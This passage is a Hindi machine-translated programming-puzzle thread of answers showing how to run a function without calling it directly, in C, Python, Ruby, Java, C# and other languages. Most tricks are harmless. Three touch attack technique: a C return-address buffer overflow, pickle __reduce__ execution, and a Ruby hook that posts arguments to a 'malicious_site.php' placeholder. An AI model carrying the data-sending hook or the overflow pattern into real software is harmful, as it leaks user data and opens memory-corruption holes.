बिना कॉल किए एक विधि को कॉल करें [बंद]


77

अब हटाए गए StackOverflow प्रश्न से प्रेरित । क्या आप स्पष्ट रूप से कॉल किए बिना किसी विशेष विधि को निष्पादित करने का एक तरीका ले सकते हैं? यह जितना अप्रत्यक्ष होगा, उतना ही बेहतर होगा।

यहाँ मेरा मतलब है, बिल्कुल (C केवल उदाहरण के लिए इस्तेमाल किया गया, सभी भाषाओं को स्वीकार किया गया):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

मूल प्रश्न: यहाँ छवि विवरण दर्ज करें


58
+10471 ... अच्छा
क्यूर

29
मुझे आश्चर्य है कि स्टैक ओवरफ्लो को ओवरफ्लो करने की आपको कितनी आवश्यकता है?
पियरुलेज़

34
जाहिरा तौर पर यह @Mysticial के खाते से एक अवतार है, जो अवतार को देख रहा है। रहस्यमय, क्या आप कृपया अपने प्रतिनिधि टैब पर क्लिक
दरवाज़े

4
@Doorknob वह क्यों चाहिए? यह सब एक उत्तर से आ रहा है।
FDinoff

8
@PyRulez जॉन स्कीट ने अभी तक ऐसा नहीं किया है, इसलिए हम अभी के लिए सुरक्षित हैं
कोल जॉनसन

जवाबों:


109

सी

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

जब जीसीसी के साथ संकलित किया जाता है, तो कंपाइलर बदल देता printf("Goodbye!\n")है puts("Goodbye!"), जो सरल है और इसे समकक्ष माना जाता है। मैंने चुपके से अपना कस्टम putsफ़ंक्शन प्रदान किया है , ताकि इसके बजाय कॉल किया जाए।


1
@ user17752 यह वास्तव में एक परिवर्तन है GCC भी -0 पर बनाता है। (GCC 4.8, वैसे भी। शायद अन्य संस्करणों को कुछ अन्य विकल्पों की आवश्यकता है।)
hvd

1
क्षमा करें, मेरी गलती, मैं भूल गया कि मैं अपनी मैकबुक पर क्लैंग का उपयोग कर रहा था।
डार्कहार्ट

@ user17752 धन्यवाद, मैंने अन्य संकलक के साथ परीक्षण नहीं किया था, यह जानकर अच्छा लगा कि कम से कम एक ही परिवर्तन प्राप्त करने का एक विकल्प है।
hvd

बधाई हो! एक विजेता आप हैं!

84

खैर, मैलवेयर उन फ़ंक्शन को निष्पादित करने में सक्षम कैसे है जिन्हें कोड में नहीं कहा जाता है? बफ़र्स ओवरफ्लो करके!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

मेरे सिस्टम पर, mainपहले स्थानीय चर के ऊपर 3 शब्दों को संग्रहीत करने के लिए होता है। किसी अन्य फ़ंक्शन के पते के साथ उस रिटर्न एड्रेस को स्क्रैच करके, mainउस फ़ंक्शन को "रिटर्न" करता है। यदि आप किसी अन्य सिस्टम पर इस व्यवहार को पुन: उत्पन्न करना चाहते हैं, तो आपको 3 से दूसरे मान के लिए ट्विक करना पड़ सकता है।


मुझे इसे (+1) मारो - यह स्पष्ट सी समाधान है।
कॉमिनेन्ट

20
<!-- language: lang-c -->इसे हाइलाइट करने के लिए अपने कोड से पहले दो लाइनों का उपयोग करें ।
विक्टर स्टैफुसा

9
सभी जय @Victor, वाक्य रचना हाइलाइटिंग हीरो!
जेसन सी

@ विक्टर क्या यह आधिकारिक रूप से प्रलेखित है? यदि हाँ, तो कहाँ?
थोरबजर्न रावन एंडरसन


75

दे घुमा के

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

8
उपवाद सम्भालना। दूसरी विधि कॉल!
phyrfox

56

अजगर २

>>> def func(*args):
        print('somebody called me?')

यहाँ कुछ तरीके हैं जो अन्य उत्तरों से प्रेरित हैं:

  1. कोड को सीधे निष्पादित करना

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    यह वास्तव में फ़ंक्शन को कॉल न करने का सबसे अच्छा तरीका है।

  2. विध्वंसक का उपयोग करना

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. एसटीडी I / O का उपयोग करना

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. विशेषता लुकअप का उपयोग करना

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. आयात तंत्र

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    वैसे मुझे लगता है कि यह सब है .. मैं अब कुछ भी आयात नहीं कर सकता। इंतज़ार नही..

  6. गेट-आइटम कोष्ठक का उपयोग करना []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. वैश्विक चर का उपयोग करना। मेरा मनपसंद!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloतक पहुंच है d['hello']। इसके बाद दुनिया ग्रे लगती है।

  8. मेटा क्लासेस;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. पुनरावृत्तियों का उपयोग करना (आप किसी भी ऑपरेटर को अधिभारित कर सकते हैं और इसका उपयोग कर सकते हैं)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. त्रुटियाँ!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. फ्रेमवर्क आपको वापस बुलाते हैं। लगभग हर GUI में यह कार्यक्षमता होती है।

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. स्रोत स्ट्रिंग निष्पादित करें (फंक एक फ़ाइल में होना चाहिए)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. सज्जाकार

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. अचार डे-सीरियलाइज़ेशन के साथ (कम से कम पसंदीदा आ रहा है)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. क्रमांकन का उपयोग करना

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

अधिक पायथन जवाब:


1
अच्छा संग्रह है, लेकिन आप धागे के बारे में भूल गए । ;)
nyuszika7h 15

यह जवाब बेतुका है। +1
तारांकन

यह अजगर 3 है
ब्रैडेन बेस्ट

1
उन उदाहरणों में से कई पायथन 3 के साथ भी काम करते हैं। दिखाए गए मेटा-क्लास और अपवाद-वृद्धि पायथन 3 में काम नहीं करते हैं
उपयोगकर्ता

22

जावास्क्रिप्ट

यह एक गंदा काम करने के लिए JSFuck का उपयोग करता है ।

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
मुझे लगता है कि यह एक स्पष्ट फ़ंक्शन कॉल के रूप में योग्य है। बस एक बहुत ही बाधा है।
प्रिमो

3
@primo, इसे निष्पादित करने के लिए जावास्क्रिप्ट की एक स्ट्रिंग का निर्माण किया जाएगा, और इसे प्राप्त करने के लिए फ़ंक्शन ऑब्जेक्ट को प्राप्त करना होगा। लेकिन ऐसा करने के लिए, यह प्रकारों के बीच निहित रूपांतरण का उपयोग करता है; जैसे ""एक स्ट्रिंग है, और []0 का मूल्यांकन करता है, इसलिए ""[[]]अपरिभाषित है, और ""[[]]+"""अपरिभाषित" है। वहाँ से आप अलग-अलग पत्र निकाल सकते हैं: (""[[]]+"")[[]]"यू" है। तो यह मनमाने कोड के साथ निष्पादन को कॉल करने के लिए एक हैक की तरह है। मुझे लगता है कि मायने रखता है?
फिल एच

1
@PHH मैं समझता हूं कि यह कैसे काम करता है। अंतिम दो कोष्ठक निकालें function anonymous() { x() }:।
प्राइमो

22

अजगर

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

यह the_functionप्रोफाइलिंग फ़ंक्शन के रूप में सेट होता है, जिससे इसे प्रत्येक फ़ंक्शन कॉल पर निष्पादित किया जाता है और वापस लौटता है।

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

क्या यह पायथन है?
होशे 250

@ user2509848 हाँ, मैं यह बताना भूल गया।
जीआरसी

एक गैर-सी जवाब! मुझे और देखना अच्छा लगेगा: D

@Johnsyweb कृपया देखें meta.codegolf.stackexchange.com/q/1109/9498 । सिंटैक्स हाइलाइटिंग को शामिल करने के लिए हर एक पोस्ट को संपादित करने की आवश्यकता नहीं है, खासकर अगर यह कोड के लुक को प्रभावित करता है (उदाहरण के लिए शॉर्ट कोड)।
जस्टिन

@Quincunx: स्वीकार किया गया
we

18

सी#

जब भी आप किसी कक्षा में किसी भी विधि को कॉल करने का प्रयास करते हैं, तो हम हमेशा कुछ कोड को निष्पादित करने के लिए DLR का दुरुपयोग कर सकते हैं । यह डेलिगेट्स, रिफ्लेक्शन, स्टैटिक कंस्ट्रक्टर आदि जैसे समाधानों की तुलना में थोड़ा कम सस्ता / स्पष्ट है, क्योंकि निष्पादित किया जा रहा तरीका न केवल कभी भी लागू नहीं होता है , बल्कि कभी भी संदर्भित नहीं होता है, इसके नाम से भी नहीं।

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

यह हमेशा "हा! छल करता है!" इससे कोई फर्क नहीं पड़ता कि आप किस पर कोशिश करते हैं a। इसलिए मैं आसानी से लिख सकता था a.SuperCaliFragilisticExpiAlidocious()और यह वही काम करेगा।


17

जीएनयू सी

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

यह बहुत सीधा है, लेकिन निश्चित रूप से एक नहीं है कॉल करने के लिए hello_world, भले ही समारोह करता है निष्पादित।


16

माणिक

वाट से प्रेरित ।

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

16

सी

आप C में कार्यक्रम के अंत में बुलाए जाने वाले एक समारोह को पंजीकृत कर सकते हैं, यदि वह आपकी आवश्यकताओं के अनुसार हो:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

जावा

इसे जावा के साथ आज़माया:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

विधि secretMethodNotCalledInMainको केवल प्रतिबिंब कहा जाता है, और मैं कुछ भी नहीं खोज रहा हूं जिसे बुलाया जाता है secretMethodNotCalledInMain(इसके बजाय मैं कुछ भी नहीं खोज रहा हूं main)। इसके अलावा, कोड का परावर्तक हिस्सा उस mainविधि के बाहर कहा जाता है जब JDK का अनकैप्ड अपवाद हैंडलर किक करता है।

यहाँ मेरी JVM जानकारी है:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

यहाँ मेरे कार्यक्रम का उत्पादन है:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

मैं उन लोगों की उम्मीद नहीं कर रहा था जो NullPointerExceptionप्रतिबिंब को संभालने के लिए देशी कोड से फेंके जा रहे हैं । लेकिन, जैसा कि @ johnchen902 ने उल्लेख किया है, क्योंकि यह कुछ तरीकों से विरासत में मिला है java.lang.Objectऔर मैंने उन्हें फोन करना समाप्त कर दिया है null


वे NPEजेडीके बग नहीं हैं। वे फेंक दिया रहे हैं क्योंकि आप उदाहरण के तरीकों में घोषित आह्वान करने के लिए करने की कोशिश की java.lang.Objectके रूप में इस तरह के toString()साथ null
जॉनचेन 902

@ johnchen902 ओह, बिल्कुल। धन्यवाद। मैंने इसे संपादित किया।
विक्टर स्टैफुसा

14

सी ++

C ++ में एक तरीका एक स्थिर ऑब्जेक्ट के कंस्ट्रक्टर और / या विध्वंसक में है:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
मैंने नए और अधिक भार को हटाने के बारे में भी सोचा , लेकिन मुझे लगता है कि तीन उत्तर पर्याप्त हैं :)
fredoverflow

क्या C ++ में कंस्ट्रक्टर्स / डिस्ट्रक्टर्स को "तरीके" माना जाता है? .NET और जावा में वे वास्तव में एक अलग सदस्य प्रकार हैं। आप सीधे स्टेटिक कॉटर को कॉल नहीं कर सकते , भले ही आप ...
एरोनियट

@ चेतावनी: कुछ भी C ++ में "विधि" नहीं माना जाता है (कम से कम किसी को पता है कि वे किस बारे में बात कर रहे हैं)। कंस्ट्रक्टर और विध्वंसक सदस्य कार्य हैं। वे "विशेष" सदस्य कार्य हैं (उदाहरण के लिए, निर्माणकर्ताओं के नाम नहीं हैं, इसलिए आप उन्हें सीधे आमंत्रित नहीं कर सकते हैं)।
जेरी कॉफ़िन

ठीक है, मैंने केवल उस शब्द का उपयोग किया क्योंकि ओपी ने किया था। मुझे पता है कि C / C ++ और लगभग हर दूसरे गैर-जावा / .NET भाषा के कार्य हैं, विधियाँ नहीं। लेकिन मुख्य मुद्दा यह है कि उन्हें सीधे आमंत्रित नहीं किया जा सकता है। आप तर्क दे सकते हैं कि एक इंस्ट्रक्टर कंस्ट्रक्टर को तकनीकी रूप से सीधे तौर पर इनवाइट किया जा रहा है new, और इसलिए यह एक दिलचस्प जवाब होगा कि बिना किसी को इनवाइट करने का तरीका क्या होगा new। लेकिन मुझे नहीं पता, स्थिर कंस्ट्रक्टरों को थोड़ा धोखा लगता है।
एरोनियट

@ यदि आप पहले से आवंटित स्मृति के एक टुकड़े पर एक निर्माता को बुलाना चाहते हैं, तो आप लिख सकते हैं new (p) foo()। और आप किसी ऑब्जेक्ट को मेमोरी को रिलीज़ किए बिना नष्ट कर सकते हैं p->~foo()
6:30 पर fredoverflow

12

C: हैलो वर्ल्ड

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

आउटपुट:

Hello World!

विधि को जोड़ने के लिए, हमें प्रोग्राम में कहीं न कहीं प्रिंटफ () संकलित करने की आवश्यकता है, लेकिन इसे वास्तव में कहने की आवश्यकता नहीं है। प्रिंटफ़ () और मुख्य () फ़ंक्शन कोड सेगमेंट में एक दूसरे से अलग 276 बाइट्स स्थित हैं। यह मान ओएस और कंपाइलर के आधार पर बदल जाएगा। आप इस कोड के साथ अपने सिस्टम पर वास्तविक पते पा सकते हैं और फिर उन्हें घटा सकते हैं:

printf("%d %d\n", &printf, &main);

4
*इससे पहले कि mainवास्तव में भ्रामक और अनावश्यक है। mainएक ऐसा कार्य है जिसे आप नहीं कर सकते हैं, इसलिए यह एक फ़ंक्शन पॉइंटर को स्पष्ट रूप से तय करता है जिसे फिर से एक फ़ंक्शन प्राप्त करने के लिए dereferenced जाता है। आप किसी फ़ंक्शन से किसी इंट को घटा नहीं सकते हैं, इसलिए यह फिर से फ़ंक्शन पॉइंटर का फैसला करता है। आप शायद अच्छी तरह से लिख सकते हैं (*****main-276);) आप शायद लिखने (&main-276)या (*(main-276))इसके बजाय थे।
फ्रेडओवरफ्लो

6
The * before main is really confusing and unnecessary.- क्या यह आम तौर पर इस साइट पर एक अच्छी बात नहीं है?
जेम्स वेबस्टर

मैं इस धारणा के अधीन था कि मानक ने कहा कि एक सुव्यवस्थित प्रोग्राम उपयोग नहीं करेगा main, लेकिन अब इसे नहीं खोज सकता ...
डेमन

3
आप इसे स्पष्ट संदर्भ द्वारा स्पष्ट रूप से कहते हैं
Nowayz

9

सी (जीसीसी इनलाइन के साथ)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

यह कुछ GCC- उत्सर्जित कोड को ऑब्जेक्ट फ़ाइल के एक अलग सेगमेंट में समाप्त करने का कारण बनेगा, प्रभावी रूप से नियंत्रण प्रवाह "the_function" के माध्यम से। ध्यान दें कि यह काम नहीं करता है यदि जीसीसी कार्यों को फिर से करने का फैसला करता है, तो जाहिर है। MirBSD-current / i386 पर GCC 3.4.6 के साथ परीक्षण किया गया -O2। (इसके अलावा, यह डीबगिंग को तोड़ता है, -gत्रुटियों के साथ संकलन deb)


8

PHP PHP5.4.0

यह समाधान स्वाभाविक रूप से एक भयावह गड़बड़ है, लेकिन यह इसे दिए गए कार्य को पूरा करता है (इसमें कोई शर्त नहीं थी कि इसे कितना अच्छा प्रदर्शन करना है)।

कॉल किए बिना कॉल करने का कार्य :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

समाधान :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
